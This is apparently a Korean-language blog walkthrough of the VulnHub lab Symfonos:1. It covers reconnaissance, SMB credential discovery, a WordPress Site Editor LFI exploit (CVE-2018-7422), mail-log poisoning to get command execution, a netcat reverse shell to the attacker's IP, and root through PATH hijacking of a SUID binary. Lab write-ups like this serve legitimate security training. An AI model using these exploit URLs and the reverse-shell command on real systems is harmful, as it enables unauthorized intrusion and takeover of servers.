https://www.vulnhub.com/entry/symfonos-1,322/
실습 환경 : VirtualBox
실습 전에 칼리에서 /etc/hosts 파일에 대상 호스트IP와 symfonos.local를 추가해주었습니다
Reconnaissance
└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetAll
Nmap scan report for 192.168.45.166
Host is up (0.00032s latency).
MAC Address: 08:00:27:A6:F8:74 (Oracle VirtualBox virtual NIC)
└─$ cat ./recon/targetAll.nmap | grep '166' | cut -d '(' -f 2 | tr -d ')'
192.168.45.166
SSH
SSH 로그인 시도했을 떄 별다른 특이사항 없음
SMTP
WEB
직접 접속한다
페이지 소스 및 robots.txt는 별다른 특이사항 없음
gobuster를 이용한 디렉터리 브루트포싱 진행
디렉터리 브루트포싱에서도 큰 힌트를 얻지 못함. 일단 smb 정보 수집도 진행한 후에 다시 종합해서 취약점을 찾는다
SMB
enum4linux를 이용한 정보 수집
anonymous 세션 접근 가능
NULL share 사용, 비밀번호 정책에 대한 정보
helios 유저 사용 가능
anonymous share 접근 가능
# passwords information
epidioko
qwerty
baseball
# found credentials
helios:qwerty
/h3l105 경로에 대한 정보 획득
Vulnerability
숨겨진 경로에 wordpress를 운영중인 것으로 확인
wpscan을 이용하여 취약점 진단
└─$ sudo wpscan --url http://symfonos.local/h3l105/ --enumerate p, vp, ap, u | tee ./vuln/wpscan_res
admin 유저 정보
플러그인 정보 획득
searchsploit을 이용해 취약점을 찾아본다
두 플러그인 모두 취약점이 존재하는 것으로 확인
Exploitation
wordpress site editor 1.1.1 의 LFI 취약점을 이용하여 진행
CVE-2018-7422 공개 취약점 코드를 가지고 있다
└─$ searchsploit -m 44340 .
** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
# Exploit
http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
postfix가 있는 것을 확인 smtp를 이용하여 대상 호스트로 침투 한다
nc 명령어를 이용하여 smtp 서버에 접근
helios 유저에게 메일을 보내고 /var/mail/helios 에서 확인해본다
# exploit
http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios
정상적으로 메일이 간것을 확인했다.
그렇다면 php 코드가 들어갔을 테니 익스플로잇 코드 마지막 부분에 이미 ?ajax_path= 파라미터가 있으니
추가적인 파라미터를 사용하기 위해서 &cmd= 를 붙여서 사용한다
익스플로잇 성공
이후 리버스 쉘을 얻기 위해서 코드 하나를 작성해서 넣는다
revshells.com 사이트를 참고해 nc 명령어를 이용한다
# reverse shell listening
└─$ nc -nlvp 7777
listening on [any] 7777 ...
?ajax_path=/var/mail/helios&cmd=nc 192.168.45.219 7777 -e /bin/bash
Priviliege Escalation
wp-config.php
SUID binary
helios@symfonos:/var/www/html/h3l105$ file /opt/statuscheck
file /opt/statuscheck
/opt/statuscheck: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4dc315d863d033acbe07b2bfc6b5b2e72406bea4, not stripped
ELF 파일이고,,
curl에 대한 것이 적혀있다
1. curl 이름을 가진 파일을 만들어준다
2. curl 파일에 setuid 설정을 해준다
3. 작업 디렉터리는 /tmp 인데 /opt/statuscheck은 curl 명령어를 실행하는 듯 하니, curl을 환경변수 설정을 해준다
/tmp 디렉터리 자체에 환경 변수 처리를 했으니 어디서든지 실행이 가능해진다
다시 한번 suid 설정된 바이너리를 실행해본다
권한 상승 완료
Congrats on rooting symfonos:1!
\ __
--==/////////////[})))==*
/ \ ' ,|
`\`\ //| ,|
\ `\ //,/' -~ |
) _-~~~\ |/ / |'| _-~ / ,
(( /' ) | \ / /'/ _-~ _/_-~|
((( ; /` ' )/ /'' _ -~ _-~ ,/'
) )) `~~\ `\\/'/|' __--~~__--\ _-~ _/,
((( )) / ~~ \ /~ __--~~ --~~ __/~ _-~ /
((\~\ | ) | ' / __--~~ \-~~ _-~
`\(\ __--( _/ |'\ / --~~ __--~' _-~ ~|
( ((~~ __-~ \~\ / ___---~~ ~~\~~__--~
~~\~~~~~~ `\-~ \~\ / __--~~~'~~/
;\ __.-~ ~-/ ~~~~~__\__---~~ _..--._
;;;;;;;;' / ---~~~/_.-----.-~ _.._ ~\
;;;;;;;' / ----~~/ `\,~ `\ \
;;;;' ( ---~~/ `:::| `\\.
|' _ `----~~~~' / `:| ()))),
______/\/~ | / / (((((())
/~;;.____/;;' / ___.---( `;;;/ )))'`))
/ // _;______;'------~~~~~ |;;/\ / (( (
// \ \ / | \;;,\ `
(<_ \ \ /',/-----' _>
\_| \\_ //~;~~~~~~~~~
\_| (,~~
\~\
~~
Contact me via Twitter @zayotic to give feedback!
'Vulnhub' 카테고리의 다른 글
[Vulnhub] Symfonos: 3.1 Walkthrough (0) | 2024.07.05 |
---|---|
[Vulnhub] Symfonos: 2 Walkthrough (0) | 2024.07.04 |
[Vulnhub] Prime: 1 Walkthrough (0) | 2024.06.29 |
[Vulnhub] Digitalworld.local: Joy Walkthrough (0) | 2024.06.27 |
[Vulnhub] DIGITALWORLD.LOCAL: MERCY v2 Walkthrough (0) | 2024.06.26 |